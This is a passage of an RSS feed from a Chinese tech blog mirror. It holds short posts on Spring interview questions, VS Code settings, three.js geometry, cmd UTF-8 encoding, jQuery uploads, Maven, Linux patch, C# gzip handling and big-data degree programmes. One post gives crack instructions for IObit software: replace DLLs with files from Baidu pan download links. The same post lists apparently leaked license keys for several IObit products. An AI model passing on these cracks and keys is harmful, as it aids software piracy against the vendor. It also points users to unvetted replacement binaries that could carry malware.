基础;&#xA;4.对开设院校开设专业的实力进行评估，有些看似平凡的院校和大数据行业企业联合办学，实力不容小觑，例如贵州理工学院与阿里云合建的“贵州理工学院——阿里巴巴大数据学院”，计划在5年内为贵州省培养1万名大数据专业技术人才，黄河科技学是与中科院、云和数据以及中国科普开等知名大数据相关研究机构及公司开展交流合作，在学校建立联合实验室、在企业设立学生实训基地，实现更好地培养人才;&#xA;5.考生也可从相关专业(如应用统计学专业)跨考此专业的研究生，可实现快速切入，但还应注意关注行业发展最新状况并着重弥补能力差距。&#xA;6.大数据类专业有很多，不同院校开设情况不同，应注意比较择选，例如：&#xA;清华大学数据科学研究院开设大数据专业，2014年开始招生;&#xA;北大、人大等五校大数据分析硕士培养协同创新平台开设大数据分析专业，2014年开始招生;&#xA;复旦大学计算机科学技术学院开设数据交通专业，2015年开始招生;&#xA;北航交通科学与工程学院开设计量经济学大数据分析方向，2014年开始招生;&#xA;上海财经大学经济学院开设计量经济学大数据分析方向，2014年开始招生;&#xA;2018年将会有更多的大学开设大数据类专业。&#xA;摘自：http://www.shcpda.com/xingyezixun/854.html</description>
    </item>
    <item>
      <title>SSM常见面试问题</title>
      <link>https://bchobby.github.io/posts/c210ee6cf5c5e4719890483b19bae8b4/</link>
      <pubDate>Tue, 07 Nov 2017 10:00:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c210ee6cf5c5e4719890483b19bae8b4/</guid>
      <description>1、什么是Spring框架？Spring框架有哪些主要模块？ Spring框架是一个为Java应用程序的开发提供了综合、广泛的基础性支持的Java平台。 Spring帮助开发者解决了开发中基础性的问题，使得开发人员可以专注于应用程序的开发。&#xA;Spring框架本身亦是按照设计模式精心打造，这使得我们可以在开发环境中安心的集成Spring框架，不必担心Spring是如何在后台进行工作的。&#xA;Spring框架至今已集成了20多个模块。这些模块主要被分如下图所示的核心容器、数据访问/集成,、Web、AOP（面向切面编程）、工具、消息和测试模块。&#xA;2、使用Spring框架能带来哪些好处？ 下面列举了一些使用Spring框架带来的主要好处：&#xA;Dependency Injection(DI) 方法使得构造器和JavaBean properties文件中的依赖关系一目了然。与EJB容器相比较，IoC容器更加趋向于轻量级。这样一来IoC容器在有限的内存和CPU资源的情况下进行应用程序的开发和发布就变得十分有利。Spring并没有闭门造车，Spring利用了已有的技术比如ORM框架、logging框架、J2EE、Quartz和JDK Timer，以及其他视图技术。Spring框架是按照模块的形式来组织的。由包和类的编号就可以看出其所属的模块，开发者仅仅需要选用他们需要的模块即可。要测试一项用Spring开发的应用程序十分简单，因为测试相关的环境代码都已经囊括在框架中了。更加简单的是，利用JavaBean形式的POJO类，可以很方便的利用依赖注入来写入测试数据。Spring的Web框架亦是一个精心设计的Web MVC框架，为开发者们在web框架的选择上提供了一个除了主流框架比如Struts、过度设计的、不流行web框架的以外的有力选项。Spring提供了一个便捷的事务管理接口，适用于小型的本地事物处理（比如在单DB的环境下）和复杂的共同事物处理（比如利用JTA的复杂DB环境）。 3、什么是控制反转(IOC)？什么是依赖注入？ 控制反转是应用于软件工程领域中的，在运行时被装配器对象来绑定耦合对象的一种编程技巧，对象之间耦合关系在编译时通常是未知的。在传统的编程方式中，业务逻辑的流程是由应用程序中的早已被设定好关联关系的对象来决定的。在使用控制反转的情况下，业务逻辑的流程是由对象关系图来决定的，该对象关系图由装配器负责实例化，这种实现方式还可以将对象之间的关联关系的定义抽象化。而绑定的过程是通过“依赖注入”实现的。&#xA;控制反转是一种以给予应用程序中目标组件更多控制为目的设计范式，并在我们的实际工作中起到了有效的作用。&#xA;依赖注入是在编译阶段尚未知所需的功能是来自哪个的类的情况下，将其他对象所依赖的功能对象实例化的模式。这就需要一种机制用来激活相应的组件以提供特定的功能，所以依赖注入是控制反转的基础。否则如果在组件不受框架控制的情况下，框架又怎么知道要创建哪个组件？&#xA;在Java中依然注入有以下三种实现方式：&#xA;构造器注入Setter方法注入接口注入 4、请解释下Spring框架中的IoC？ Spring中的 org.springframework.beans 包和 org.springframework.context包构成了Spring框架IoC容器的基础。&#xA;BeanFactory 接口提供了一个先进的配置机制，使得任何类型的对象的配置成为可能。ApplicationContex接口对BeanFactory（是一个子接口）进行了扩展，在BeanFactory的基础上添加了其他功能，比如与Spring的AOP更容易集成，也提供了处理message resource的机制（用于国际化）、事件传播以及应用层的特别配置，比如针对Web应用的WebApplicationContext。&#xA;org.springframework.beans.factory.BeanFactory 是Spring IoC容器的具体实现，用来包装和管理前面提到的各种bean。BeanFactory接口是Spring IoC 容器的核心接口。 IOC:把对象的创建、初始化、销毁交给spring来管理，而不是由开发者控制，实现控制反转。&#xA;5、BeanFactory和ApplicationContext有什么区别？ BeanFactory 可以理解为含有bean集合的工厂类。BeanFactory 包含了种bean的定义，以便在接收到客户端请求时将对应的bean实例化。&#xA;BeanFactory还能在实例化对象的时生成协作类之间的关系。此举将bean自身与bean客户端的配置中解放出来。BeanFactory还包含了bean生命周期的控制，调用客户端的初始化方法（initialization methods）和销毁方法（destruction methods）。&#xA;从表面上看，application context如同bean factory一样具有bean定义、bean关联关系的设置，根据请求分发bean的功能。但applicationcontext在此基础上还提供了其他的功能。&#xA;提供了支持国际化的文本消息统一的资源文件读取方式已在监听器中注册的bean的事件 以下是三种较常见的 ApplicationContext 实现方式：&#xA;1、ClassPathXmlApplicationContext：从classpath的XML配置文件中读取上下文，并生成上下文定义。应用程序上下文从程序环境变量中取得。&#xA;[html] view plain copy ApplicationContext context = new ClassPathXmlApplicationContext(“bean.xml”); 2、FileSystemXmlApplicationContext ：由文件系统中的XML配置文件读取上下文。 [html] view plain copy ApplicationContext context = new FileSystemXmlApplicationContext(“bean.xml”); 3、XmlWebApplicationContext：由Web应用的XML文件读取上下文。</description>
    </item>
    <item>
      <title>vs code如何设置每行的代码长度</title>
      <link>https://bchobby.github.io/posts/636c62b20f25609519a3802060a0a1be/</link>
      <pubDate>Sat, 04 Nov 2017 18:47:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/636c62b20f25609519a3802060a0a1be/</guid>
      <description>文件-&amp;gt;首选项-&amp;gt;用户设置，配置 Settings.json 文件，例如： //将设置放入此文件中以覆盖默认设置 {&#xA;// 在一定数量的等宽字符后显示垂直标尺。输入多个值，显示多个标尺。若数组为空，则不绘制标尺。 &#34;editor.rulers&#34;: [], //一个制表符等于的空格数。该设置在`editor.detectIndentation` 启用时根据文件内容进行重写。 &#34;editor.tabSize&#34;: 4, }&#xA;python以遵循每行不超过79字符的建议将”editor.rulers”改为[80]</description>
    </item>
    <item>
      <title>three.js 02-03 之自定义形状</title>
      <link>https://bchobby.github.io/posts/a8f14822e5b3fdbf9e0308ab2494ec1a/</link>
      <pubDate>Fri, 03 Nov 2017 16:46:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8f14822e5b3fdbf9e0308ab2494ec1a/</guid>
      <description>上一篇，我们已经学习了如何使用 Three.js 提供的几种常用的几何对象及网格。今天，我们来重点学习一下，如何通过自定义顶点和面来构建自己的几何体，并用它来创建网格。我们先来一个完整的例子，代码如下：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 02.03 - 自定义形状&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 用于 WebGL 输出的 Div --&amp;gt; &amp;lt;div id=&#34;WebGL-output&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- 用于统计 FPS 输出的 Div --&amp;gt; &amp;lt;div id=&#34;Stats-output&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>取消CSDN的手机绑定</title>
      <link>https://bchobby.github.io/posts/e6699ffda9d94d6abb806904933bfeb8/</link>
      <pubDate>Thu, 02 Nov 2017 21:49:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6699ffda9d94d6abb806904933bfeb8/</guid>
      <description>有很多朋友在注册CSDN的时候采用的是邮箱注册，但是一段时间不用给忘记了。有使用手机注册一个账号，当自己想关联邮箱的时候，发现已经注册了，不能让被绑定。想注销又不能注销，感觉很无奈。&#xA;其实手机注册的账号是能够被解绑的，小编找了好久，终于找到了，登录CSDN的官网http://www.csdn.net/company/contact.html&#xA;可以拨打这个电话，让她帮你解绑，要提供手机号及用户名进行核对，接电话的是一个妹子，声音很好听，态度也不错。</description>
    </item>
    <item>
      <title>Win10 修改cmd命令行窗口UTF-8编码</title>
      <link>https://bchobby.github.io/posts/c9d62943776257eda1b57ab83812f60e/</link>
      <pubDate>Wed, 01 Nov 2017 21:38:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9d62943776257eda1b57ab83812f60e/</guid>
      <description>1.临时修改，只作用于当前打开的窗口&#xA;进入cmd窗口后，直接执行“chcp 65001”&#xA;执行完后，cmd的编码格式就是UTF-8&#xA;2.永久修改，修改注册表。&#xA;在运行中输入&#34;regedit&#34;,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor&#xA;然后“右键-新建”，选择“字符串值”，“名称”列填写“autorun”, 数值数据填写“chcp65001”&#xA;添加成功后&#xA;再次在运行中输入cmd，就会自动把编码格式设置为UTF-8</description>
    </item>
    <item>
      <title>【IObit】五大软件激活码（ Advanced Systemcare....）</title>
      <link>https://bchobby.github.io/posts/7e21a2a74ef36b81c4e2c09693f9267d/</link>
      <pubDate>Tue, 31 Oct 2017 17:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e21a2a74ef36b81c4e2c09693f9267d/</guid>
      <description>IObit Malware Fighter 6Pro 破解： 打开软件安装位置，下载替换dll文件&#xA;链接: https://pan.baidu.com/s/1Euz87MCANuCnRqZsMQ_w4w 密码: jjai&#xA;IObit Smart Defrag 6 pro 破解： 打开软件安装位置，下载替换dll文件&#xA;链接：https://pan.baidu.com/s/1B8qtRkNO3jx-xBQ6Kuq73g 密码：cvsr&#xA;最近更新：&#xA;Advanced SystemCare 12 PRO:&#xA;DA824-3A1B0-1FB0A-37954 有效期：2019-5-23&#xA;Advanced SystemCare Pro 11.5------------&#xA;注册码: BA88B-BA8DA-A6F9C-62D64&#xA;过期日期: 2019-04-09&#xA;IObit Uninstaller 8.0------------&#xA;注册码: 0AE63-73B95-4965D-7C9B8&#xA;过期日期: 2019-02-22&#xA;Driver Booster 5.5 -----&#xA;注册码 : EB16D-7496D-14B9A-DCFB5&#xA;过期时间 : 2019-08-08&#xA;Smart Defrag 6 pro&#xA;License Code: 45C13-2C872-378EA-5C3B9&#xA;Expiration Date: 2019-05-25&#xA;License Code: 3048C-E2656-9FE4E-90EB9&#xA;Expiration Date: 2019-03-30 半年激活码（2019年5月到期）：&#xA;8B91D-18E7C-3E2F4-6D4B6</description>
    </item>
    <item>
      <title>Latex 引用、索引不跳转的问题</title>
      <link>https://bchobby.github.io/posts/95b6c7939e61c8c37277f74e5e743297/</link>
      <pubDate>Tue, 31 Oct 2017 11:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95b6c7939e61c8c37277f74e5e743297/</guid>
      <description>解决Latex 引用、索引不跳转的问题 使用Latex编辑文章，发现生成的pdf文档的引用、索引不响应鼠标事件，也就是不跳转。&#xA;解决方法 按原先的Latex-&amp;gt;BibTex-&amp;gt;Latex-&amp;gt;Latex编译，完成后不要直接点击dvi-&amp;gt;pdf，而是点击 dvi-&amp;gt;ps，再点击 ps-&amp;gt;dvi。ok。</description>
    </item>
    <item>
      <title>终于找到jquery ajxa请求传图片时为什么总是失败的原因了！</title>
      <link>https://bchobby.github.io/posts/48fbeedea08443d3868854bd45a89358/</link>
      <pubDate>Mon, 30 Oct 2017 21:42:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48fbeedea08443d3868854bd45a89358/</guid>
      <description>开宗明义，很关键的一个配置processdata：&#xA;它会调用返回值:StringjQuery.param把{ width:1680, height:1050 }参数对象序列化为width=1680&amp;amp;height=1050这样的字符串。 如果你要发送的是个xmlDocument，当然就不希望能这么发送了，必须得设置processData=false，且以POST方式发送才行。&#xA;之前在设置ajxa请求时都没有习惯去设置下面这些参数：&#xA;async: false, cache: false, contentType: false, processData: false, 而processData就是和传文件有关的参数，不设置每次ajax请求都到不了后台直接前台报错。&#xA;最后附上成功请求的代码：&#xA;$.ajax({ type: &#39;POST&#39;, url: &#39;uploadFile&#39;, data: formData, dateType:&#39;JSON&#39;, async: false, cache: false, contentType: false, processData: false, success: function(result){ console.info(&#34;upload success&#34;+result.result); }, error: function(XMLHttpRequest, textStatus, errorThrown) { console.info(XMLHttpRequest.status); console.info(XMLHttpRequest.readyState); console.info(textStatus); }, complete: function(XMLHttpRequest, textStatus) { this; // 调用本次AJAX请求时传递的options参数 } }); 补充必须设置contentType 为false：&#xA;这就是因为当我们在 form 标签中设置了enctype = “multipart/form-data”,这样请求中的 contentType 就会默认为 multipart/form-data 。而我们在 ajax 中 contentType 设置为 false 是为了避免 JQuery 对其操作，从而失去分界符，而使服务器不能正常解析文件。</description>
    </item>
    <item>
      <title>Maven mvn install 本地jar添加到maven仓库中</title>
      <link>https://bchobby.github.io/posts/7870ec61d74e7741b482f4680d17754d/</link>
      <pubDate>Mon, 30 Oct 2017 18:16:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7870ec61d74e7741b482f4680d17754d/</guid>
      <description>最近在使用支付宝、财付通这样的第三方支付，在使用支付宝过程中需要引入官方SDK方便开发，使用以下命令来将本地的jar装载到maven仓库中。&#xA;这里有几点需要注意点，我使用Windows10时，使用powershell 死活不可以，报错误：&#xA;[ERROR] The goal you specified requires a project to execute but there is no POM in this directory 无奈使用cmd 就没问题了&#xA;另外需要注意的是-Dfile的参数中不要有空格等特殊字符。&#xA;运行以下命令（前提你已经将maven加入环境变量中）&#xA;mvn install:install-file -DgroupId=alipay -DartifactId=alipay-trade-sdk -Dversion=1.0 -Dpackaging=jar -Dfile=F:\支付宝SDKJARlongguo\alipay-trade-sdk.jar&#xA;mvn install:install-file -DgroupId=alipay -DartifactId=alipay-sdk-java20151021120052 -Dversion=1.0 -Dpackaging=jar -Dfile=F:\支付宝SDKJARlongguo\alipay-sdk-java20151021120052.jar&#xA;build success!&#xA;然后使用时，在pom中添加&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;alipay&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;alipay-trade-sdk&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;alipay&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;alipay-sdk-java20151021120052&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; bingo！</description>
    </item>
    <item>
      <title>Linux下安装和卸载补丁包</title>
      <link>https://bchobby.github.io/posts/ba4d9aa7417e55136dfff8201f4b8c69/</link>
      <pubDate>Mon, 30 Oct 2017 15:39:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba4d9aa7417e55136dfff8201f4b8c69/</guid>
      <description>使用patch安装和卸载补丁包的命令格式： 安装：patch -p(n) &amp;lt; [补丁包路径] patch_name 卸载：patch -p(n) -R &amp;lt; [补丁包路径] patch_name&#xA;当n=0时，从当前目录查找目的文件（夹）(直接使用补丁文件里面指定的路径) 当n=1时，忽略掉第一层目录，从当前目录查找(去掉补丁文件指定路径最左的第1个’/’及前面所有内容)</description>
    </item>
    <item>
      <title>设置Accept-Encoding为gzip,deflate，返回的网页是乱码</title>
      <link>https://bchobby.github.io/posts/ae5f7fc8a0f67006be4f2ee8d15cd859/</link>
      <pubDate>Mon, 30 Oct 2017 10:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae5f7fc8a0f67006be4f2ee8d15cd859/</guid>
      <description>用C#写代码去获取网页内容。&#xA;其中request的header中，设置Accept-Encoding为gzip,deflate：&#xA;req = (HttpWebRequest)WebRequest.Create(gSkydriveUrl);&#xA;req.Headers.Add(&#34;Accept-Encoding&#34;, &#34;gzip,deflate&#34;);&#xA;结果始终返回是乱码：&#xA;其中，此处之所以加此header，是因为看到网页分析工具中所得到的浏览器浏览该网页，对应的http的header的内容中，就是这样设置的。&#xA;所以，代码中，也是模拟浏览器去访问网页，就设置了对应的Accept-Encoding为gzip,deflate了。&#xA;【解决过程】&#xA;1.刚开始以为是编码的问题，所以去尝试了不同的编码：&#xA;req.Headers[&#34;Accept-Charset&#34;] = &#34;GBK,utf-8;q=0.7,*;q=0.3&#34;;&#xA;req.Headers[&#34;Accept-Charset&#34;] = &#34;utf-8&#34;;&#xA;结果始终无法解决问题。&#xA;2.后来无意间，把Accept-Encoding取消了，没有设置为gzip,deflate：&#xA;//req.Headers.Add(&#34;Accept-Encoding&#34;, &#34;gzip,deflate&#34;);&#xA;结果，获得的网页，就正常了。&#xA;3.后来网上找到了具体的解释，那就是，&#xA;普通浏览器访问网页，之所以添加：&#xA;&#34;Accept-Encoding&#34; = &#34;gzip,deflate&#34;&#xA;那是因为，浏览器对于从服务器中返回的对应的gzip压缩的网页，会自动解压缩，所以，其request的时候，添加对应的头，表明自己接受压缩后的数据。&#xA;而此代码中，如果也添加此头信息，结果就是，返回的压缩后的数据，没有解码，而将压缩后的数据当做普通的html文本来处理，当前显示出来的内容，是乱码了。&#xA;【后记 2012-02-14】&#xA;后来调试过程中，突然发现，原来对于HttpWebRequest的参数设置中，还有一个选项是AutomaticDecompression，对于新创建的HttpWebRequest：&#xA;HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url); 其默认值是None，然后去试了试，该设置为Gzip，然后同时Accept-Encoding为对应的gzip：&#xA;req.Headers[&#34;Accept-Encoding&#34;] = &#34;gzip,deflate&#34;; req.AutomaticDecompression = DecompressionMethods.GZip; 结果证明，这样也是可以获得对应的格式正确的数据，而不是乱码的。&#xA;这就意味着，如果你获取网页内容太大的话，那么还是可以用这个办法的，这样就可以让HttpWebRequest自动帮你实现对应的解压缩了，可以减少数据数据传输量，节省时间，提高效率。&#xA;需要注意的是，我这里的实测结果，如果是请求的网页返回的内容不多的话，比如只有几K，那么用了此自动解压缩的设置，也没啥效率的提高，因为毕竟自动解压，也是要花时间的。所以，就是个权衡问题了。自己以实测结果为准，觉得是否采用自动解压。&#xA;【总结】&#xA;想要获得正确网页内容，而非乱码的话，就有两种方式了：&#xA;1.不要设置Accept-Encoding的Header&#xA;//req.Headers.Add(&#34;Accept-Encoding&#34;, &#34;gzip,deflate&#34;);&#xA;2.设置Accept-Encoding的Header,同时设置对应的自动解压缩的模式&#xA;req.Headers[&#34;Accept-Encoding&#34;] = &#34;gzip,deflate&#34;; req.AutomaticDecompression = DecompressionMethods.GZip;&#xA;具体采用哪种方法，自己根据需要选择。</description>
    </item>
    <item>
      <title>大学开设大数据专业，都安排了哪些课程？</title>
      <link>https://bchobby.github.io/posts/7668d9d4cb5c7345f82dea4cdf287aaa/</link>
      <pubDate>Mon, 30 Oct 2017 09:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7668d9d4cb5c7345f82dea4cdf287aaa/</guid>
      <description>从IT时代进入DT时代，高校在大数据方向上设置了哪些专业，具体学什么，就业怎么样，作为新兴专业，考生如何报考?&#xA;具体内容&#xA;专业名称：数据科学与大数据技术;&#xA;人才培养目标：以大数据为核心研究对象，利用大数据的方法解决具体行业应用问题。&#xA;学制：四年;学位：工学或理学学位。&#xA;目前已有35所高校申报了大数据专业：&#xA;第一批(3所)：北京大学、对外经济贸易大学、中南大学;&#xA;第二批(32所)：中国人民大学、复旦大学、北京邮电大学、华东师范大学、电子科技大学、北京信息科技大学、中北大学、长春理工大学、上海工程技术大学、上海纽约大学、浙江财经大学、广西科技大学、昆明理工大学、云南师范大学、云南财经大学、重庆理工大学、晋中学院、福建工程学院、黄河科技学院、湖北经济学院、佛山科学技术学院、广东白云学院、北京师范大学-香港浸会大学联合国际学院、成都东软学院、电子科技大学成都学院、贵州大学、贵州师范大学、安顺学院、贵州商学院、贵州理工学院、宁夏理工学、宿州学院。&#xA;数据科学与大数据技术专业都学些什么?&#xA;属于交叉学科：以统计学、数学、计算机为三大支撑性学科;生物、医学、环境科学、经济学、社会学、管理学为应用拓展性学科。此外还需学习数据采集、分析、处理软件，学习数学建模软件及计算机编程语言等，知识结构是二专多能复合的跨界人才(有专业知识、有数据思维)。&#xA;以中国人民大学为例：&#xA;基础课程(38学分)：数学分析、高等代数、普通物理数学与信息科学概论、数据结构、数据科学导论、程序设计导论、程序设计实践。&#xA;必修课(37学分)：离散数学、概率与统计、算法分析与设计、数据计算智能、数据库系统概论、计算机系统基础、并行体系结构与编程、非结构化大数据分析。&#xA;选修课：数据科学算法导论、数据科学专题、数据科学实践、互联网实用开发技术、抽样技术、统计学习、回归分析、随机过程。&#xA;数据科学与大数据技术专业人才需求情况怎样?&#xA;根据领英发布的《2016年中国互联网最热职位人才报告》显示，研发工程师、产品经理、人力资源、市场营销、运营和数据分析是中国护理万网行业需求最旺盛的职位。&#xA;目前国内有30万数据人才，预计2018年，大数据人才需求将有大幅增长，高端人才如大数据科学家的缺口在14万至19万之间;懂得利用大数据做决策的分析师和经理缺口达到150万，数据分析师现在需求就很旺盛了，2年工作经验的月薪可达到8K，硕士学历的数据分析师月薪可达到12K，5年工作经验的可达到40万至60万元。&#xA;数据科学与大数据技术专业可以从事的工作有哪些?&#xA;重视数据的机构已经越来越多，上到国防部，下到互联网创业公司、金融机构需要通过大数据项目来做创新驱动，需要数据分析或处理岗位也很多;常见的食品制造、零售电商、医疗制造、交通检测等也需要数据分析与处理，如优化库存，降低成本，预测需求等。人才主要分成三大类：大数据系统研发类、大数据应用开发类、大数据分析类，热门岗位有：&#xA;1.大数据系统架构师&#xA;大数据平台搭建、系统设计、基础设施。&#xA;技能：计算机体系结构、网络架构、编程范式、文件系统、分布并行处理等。&#xA;2.大数据系统分析师&#xA;面向实际行业领域，利用大数据技术进行数据安全生命周期管理、分析和应用。&#xA;技能：人工智能、机器学习、数理统计、矩阵计算、优化方法。&#xA;3.hadoop开发工程师。&#xA;解决大数据存储问题。&#xA;4.数据分析师&#xA;不同行业中，专门从事行业数据搜集、整理、分析，并依据数据做出行业研究、评估和预测的专业人员。在工作中通过运用工具，提取、分析、呈现数据，实现数据的商业意义。&#xA;作为一名数据分析师，至少需要熟练SPSS、STATISTIC、Eviews、SAS、大数据魔镜等数据分析软件中的一门，至少能用Acess等进行数据库开发，至少掌握一门数学软件如matalab、mathmatics进行新模型的构建，至少掌握一门编程语言。总之，一个优秀的数据分析师，应该业务、管理、分析、工具、设计都不落下。&#xA;5.数据挖掘工程师&#xA;做数据挖掘要从海量数据中发现规律，这就需要一定的数学知识，最基本的比如线性代数、高等代数、凸优化、概率论等。经常会用到的语言包括Python、Java、C或者C++，我自己用Python或者Java比较多。有时用MapReduce写程序，再用Hadoop或者Hyp来处理数据，如果用Python的话会和Spark相结合。&#xA;6.大数据可视化工程师&#xA;随着大数据在人们工作及日常生活中的应用，大数据可视化也改变着人类的对信息的阅读和理解方式。从百度迁徙到谷歌流感趋势，再到阿里云推出县域经济可视化产品，大数据技术和大数据可视化都是幕后的英雄。&#xA;大数据可视化工程师岗位职责:&#xA;1、 依据产品业务功能，设计符合需求的可视化方案。2、 依据可视化场景不同及性能要求，选择合适的可视化技术。3、 依据方案和技术选型制作可视化样例。4、 配合视觉设计人员完善可视化样例。5、 配合前端开发人员将样例组件化。&#xA;中国人民大学与人大、北大、中科院大学、中财、首经贸五校联合培养数据分析硕士第一届毕业生就业情况：&#xA;腾讯、百度等IT公司：22人;金融、银行等：21人;出国、读博等：5人;国家事业单位：6人;其它：2人;&#xA;共55人。&#xA;数据科学与大数据技术专业报考建议&#xA;当下企业用人现象：一个专业集群对应一个行业热点。大数据是交叉学科，走的是“复合型”培养路线，行业内从事相关职能的人专业背景各异。大数据作为人才培养方向在探索中，如果直接从各专业人才中遴选学苗开展硕士研究生阶段的教育会更适合一些，直接开设本科阶段的教育还相对不够成熟。&#xA;人才培养与行业发展存在差距。由于教学大纲更新不会太及时，大数据人才7年毕业(本科四年、硕士研究生三年)后，所学恐怕落后于行业发展。&#xA;大数据人才的典型胜任特征：善于做需求分析、写代码;善于与人沟通，喜欢探索未知;需要根据数据推演、分析、提出解决方案，有数据思维;需要持续保持学习状态;内性格上能动能静。&#xA;不同办学层次的院校开设此专业，培养模式会有差异。例如，高职类院校学生由于数学基础相对薄弱，会跟多偏向于工具的使用，如数据清洗、数据存储以及数据可视化等相关工具的使用;本科院校会倾向于大数据相关基础知识全面覆盖性教学，在研究生段则会专攻某一技术领域，比如数据挖掘、数据分析、商业智能、人工智能等。&#xA;报考建议&#xA;注意规避如上缺点，制定、执行相应的解决方案。例如：报考前评估从目标院校毕业后能否在大数据行业中找到理想的职位，各高校一般会根据服务地区经济发展需求开设专业，前几届毕业生一般都有对口的就业机会;根据未来职业规划初步定为初始职位，在大学期间通过选修、培训等方式精修相关学科，夯实基础;对开设院校开设专业的实力进行评估，有些看似平凡的院校和大数据行业企业联合办学，实力不容小觑，例如贵州理工学院与阿里云合建的“贵州理工学院——阿里巴巴大数据学院”，计划在5年内为贵州省培养1万名大数据专业技术人才，黄河科技学是与中科院、云和数据以及中国科普开等知名大数据相关研究机构及公司开展交流合作，在学校建立联合实验室、在企业设立学生实训基地，实现更好地培养人才;考生也可从相关专业(如应用统计学专业)跨考此专业的研究生，可实现快速切入，但还应注意关注行业发展最新状况并着重弥补能力差距。&#xA;大数据类专业有很多，不同院校开设情况不同，应注意比较择选，例如：&#xA;清华大学数据科学研究院开设大数据专业，2014年开始招生;&#xA;北大、人大等五校大数据分析硕士培养协同创新平台开设大数据分析专业，2014年开始招生;&#xA;复旦大学计算机科学技术学院开设数据交通专业，2015年开始招生;&#xA;北航交通科学与工程学院开设计量经济学大数据分析方向，2014年开始招生;&#xA;上海财经大学经济学院开设计量经济学大数据分析方向，2014年开始招生;&#xA;2018年将会有更多的大学开设大数据类专业。 来源：钱塘大数据&#xA;摘自：http://www.shcpda.com/xingyezixun/814.html</description>
    </item>
    <item>
      <title>归一化方法总结</title>
      <link>https://bchobby.github.io/posts/02866a887350de9e08e7ab938fdf0178/</link>
      <pubDate>Mon, 30 Oct 2017 00:51:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02866a887350de9e08e7ab938fdf0178/</guid>
      <description>参考自：&#xA;http://blog.csdn.net/zbc1090549839/article/details/44103801&#xA;http://blog.csdn.net/junmuzi/article/details/48917361&#xA;归一化方法（Normalization Method） 1。 把数变为（0，1）之间的小数 主要是为了数据处理方便提出来的，把数据映射到0～1范围之内处理，更加便捷快速，应该归到数字信号处理范畴之内。 2 。把有量纲表达式变为无量纲表达式 归一化是一种简化计算的方式，即将有量纲的表达式，经过变换，化为无量纲的表达式，成为纯量。 比如，复数阻抗可以归一化书写：Z = R + jωL = R(1 + jωL/R) ，复数部分变成了纯数量了，没有量纲。 另外，微波之中也就是电路分析、信号系统、电磁波传输等，有很多运算都可以如此处理，既保证了运算的便捷，又能凸现出物理量的本质含义。 标准化方法（Normalization Method） 数据的标准化是将数据按比例缩放，使之落入一个小的特定区间。由于信用指标体系的各个指标度量单位是不同的，为了能够将指标参与评价计算，需要对指标进行规范化处理，通过函数变换将其数值映射到某个数值区间。 (1) 最小-最大规范化对原始数据进行线性变换。假定MaxA与MinA分别表示属性A的最大与最小值。最小最大规范化通过计算将属性A的值映射到区间[a, b]上的v。一般来说，将最小-最大规范化在用于信用指标数据上，常用的有以下两种函数形式： a) 效益型指标（越大越好型）的隶属函数： b) 成本型指标（越小越好型）的隶属函数： (2) z-score规范化也称零-均值规范化。属性A的值是基于A的平均值与标准差规范化。(Ref:http://blog.csdn.net/zbc1090549839/article/details/44103801中的2) (3) 小数定标规范化是通过移动属性A的小数点位置来实现的。小数点的移动位数依赖于A的最大绝对值。（ref：http://wenku.baidu.com/link?url=mpUUobm4WGiisLfEGxI10JSzYara-Tb2ZybL__QTj9VOUwcoEaYKdIEP9CJ5JPk5Dm6OTZQ_dn4LrZQ0KaHNWhNelAU4Xt_MMwEbWN3oxb3） ==========================================================================================================&#xA;Ok! The following just for ref. The main content is over!&#xA;///&#xA;在这里主要讨论两种归一化方法：&#xA;1、线性函数归一化(Min-Max scaling) 线性函数将原始数据线性化的方法转换到[0 1]的范围，归一化公式如下：&#xA;该方法实现对原始数据的等比例缩放，其中Xnorm为归一化后的数据，X为原始数据，Xmax、Xmin分别为原始数据集的最大值和最小值。 2、0均值标准化(Z-score standardization) 0均值归一化方法将原始数据集归一化为均值为0、方差1的数据集，归一化公式如下： 其中，μ、σ分别为原始数据集的均值和方法。该种归一化方式要求原始数据的分布可以近似为高斯分布，否则归一化的效果会变得很糟糕。 